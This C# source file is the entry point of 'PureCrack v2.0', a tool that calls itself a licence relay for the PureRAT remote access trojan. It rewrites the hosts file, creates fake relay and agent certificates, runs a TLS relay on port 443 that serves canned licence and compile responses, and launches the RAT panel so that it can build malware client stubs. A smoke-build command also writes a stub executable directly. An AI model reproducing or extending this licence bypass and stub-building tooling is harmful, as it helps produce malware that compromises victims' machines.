Files
2026-08-27 10:56:38 -06:00

256 lines
6.7 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
using PureCrack.Build;
using PureCrack.Panel;
using PureCrack.Relay;
using PureCrack.Setup;
using PureCrack.Util;
namespace PureCrack;
internal static class Program
{
public const int RelayPort = 443;
public const int PanelPort = 56001;
private static readonly TimeSpan PanelReadyTimeout = TimeSpan.FromMinutes(5.0);
public static int Main(string[] args)
{
AppDomain.CurrentDomain.UnhandledException += delegate(object _, UnhandledExceptionEventArgs e)
{
WriteCrashLog("AppDomain.UnhandledException", e.ExceptionObject as Exception);
};
try
{
Console.OutputEncoding = Encoding.UTF8;
}
catch
{
}
try
{
Log.Banner("PureCrack v2.0 ─ PureRAT licence relay");
Log.Kv("Workspace", Workspace.Root);
Log.Kv("Captures", Workspace.CapturesDir);
Log.Kv("Stubs", Workspace.StubsDir);
if (!CheckEmbeddedAssets())
{
return PauseAndExit(1);
}
if (args.Length != 0)
{
switch (args[0])
{
case "smoke-build":
return SmokeBuildCommand();
case "help":
case "--help":
case "-h":
PrintHelp();
return 0;
}
}
return RunFullKit();
}
catch (Exception ex)
{
WriteCrashLog("Main", ex);
return PauseAndExit(2);
}
}
private static void WriteCrashLog(string source, Exception? ex)
{
string text = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] CRASH ({source})\n" + " Message: " + (ex?.Message ?? "<no exception object>") + "\n Type: " + (ex?.GetType().FullName ?? "<unknown>") + "\n Stack:\n" + Indent(ex?.ToString() ?? "<no stack>", " ") + "\n----------------------------------------\n";
try
{
Console.Error.WriteLine(text);
}
catch
{
}
try
{
string text2 = Path.Combine(Workspace.DataDir, "last-crash.log");
File.AppendAllText(text2, text);
try
{
Console.Error.WriteLine("crash log: " + text2);
}
catch
{
}
}
catch
{
try
{
File.AppendAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location) ?? Environment.CurrentDirectory, "last-crash.log"), text);
}
catch
{
}
}
}
private static string Indent(string s, string prefix)
{
if (string.IsNullOrEmpty(s))
{
return s;
}
return prefix + s.Replace("\n", "\n" + prefix);
}
private static int PauseAndExit(int code)
{
try
{
if (!Console.IsInputRedirected)
{
Console.Error.WriteLine();
Console.Error.WriteLine("Press any key to close...");
Console.ReadKey(intercept: true);
}
}
catch
{
}
return code;
}
private static int RunFullKit()
{
Log.Section("preflight");
Preflight.Result result = Preflight.Run();
Preflight.Report(result);
if (!result.Ok)
{
return 1;
}
try
{
Log.Section("hosts + certs");
HostsManager.Ensure();
X509Certificate2 serverCert = CertManager.EnsureRelayCert();
byte[] agentPfxBytes = CertManager.EnsureAgentCertPfxBytes();
Log.Section("relay");
RouteHandlers routes = new RouteHandlers(agentPfxBytes, EmbeddedAssets.CannedCompileResponse);
using TlsRelay tlsRelay = new TlsRelay(serverCert, routes);
tlsRelay.Start();
Log.Section("settings + panel");
string panelExePath = result.PanelExePath;
string text = SettingsAutoFix.FindSettingsJson(panelExePath);
if (text != null)
{
SettingsAutoFix.ReorderIpsToLoopbackFirst(text);
}
else
{
Log.Warn("Settings.json not found near " + panelExePath + " — skipping IPs reorder (set PURE_SETTINGS_JSON if it lives elsewhere)");
}
using (PanelLauncher.Launch(panelExePath))
{
ManualResetEventSlim done = new ManualResetEventSlim(initialState: false);
Console.CancelKeyPress += delegate(object _, ConsoleCancelEventArgs e)
{
e.Cancel = true;
done.Set();
};
if (PanelLauncher.WaitForListener(56001, PanelReadyTimeout))
{
Log.Banner("READY ─ panel + relay running");
Log.Info("click 'Builder Settings → Build' in the panel to produce a stub");
Log.Info("stubs land in runs/stubs/. captures in runs/captures/.");
Log.Info("Ctrl-C to stop the relay (panel keeps running).");
}
else
{
object arg = 56001;
TimeSpan panelReadyTimeout = PanelReadyTimeout;
Log.Warn($"panel didn't bind :{arg} within {panelReadyTimeout.TotalMinutes:0} min — " + "did you click Login? relay is still listening, so it's not too late.");
}
done.Wait();
Log.Section("shutdown");
tlsRelay.Stop();
Log.Info("relay stopped. panel left running. exiting.");
return 0;
}
}
catch (Exception ex)
{
Log.Err("fatal: " + ex.Message);
Log.Bullet(ex.ToString());
return 1;
}
}
private static bool CheckEmbeddedAssets()
{
try
{
_ = EmbeddedAssets.InnerSources.Count;
_ = EmbeddedAssets.LoaderTemplate.Length;
_ = EmbeddedAssets.ProtobufNetDll.Length;
_ = EmbeddedAssets.CannedCompileResponse.Length;
Log.Ok($"embedded assets OK ({EmbeddedAssets.InnerSources.Count} inner sources, " + $"{EmbeddedAssets.ProtobufNetDll.Length:N0}b protobuf-net.dll, " + $"{EmbeddedAssets.CannedCompileResponse.Length:N0}b canned /compile)");
return true;
}
catch (Exception ex)
{
Log.Err("embedded assets missing — corrupted EXE? " + ex.Message);
return false;
}
}
private static int SmokeBuildCommand()
{
Log.Section("smoke-build: exercise the StubBuilder pipeline only");
BuildConfig cfg = new BuildConfig
{
Ips = new List<string> { "127.0.0.1" },
Ports = new List<int> { 56001 },
CertPfxBase64 = "",
Group = "smoke-test",
Mutex = "purecrack-smoke"
};
try
{
byte[] array = StubBuilder.Build(cfg);
string text = Path.Combine(Workspace.StubsDir, $"smoke_{DateTime.Now:yyyyMMdd_HHmmss}.exe");
File.WriteAllBytes(text, array);
Log.Ok($"smoke-build OK — wrote {array.Length:N0}b stub to {text}");
return 0;
}
catch (Exception ex)
{
Log.Err("smoke-build FAILED: " + ex.Message);
Log.Bullet(ex.ToString());
return 1;
}
}
private static void PrintHelp()
{
Console.WriteLine();
Console.WriteLine("Usage: PureCrack.exe [subcommand]");
Console.WriteLine();
Console.WriteLine("With no subcommand: starts the full kit (relay + panel launch).");
Console.WriteLine();
Console.WriteLine("Subcommands:");
Console.WriteLine(" smoke-build Exercise the stub builder pipeline only (CI test)");
Console.WriteLine(" help Show this message");
Console.WriteLine();
Console.WriteLine("Environment overrides:");
Console.WriteLine(" PURECRACK_WORKSPACE Override workspace root (default: EXE dir)");
Console.WriteLine(" PURE_PANEL_EXE Path to PureRAT.exe");
Console.WriteLine(" PURE_SETTINGS_JSON Path to panel's Settings.json (default: sibling of PURE_PANEL_EXE)");
}
}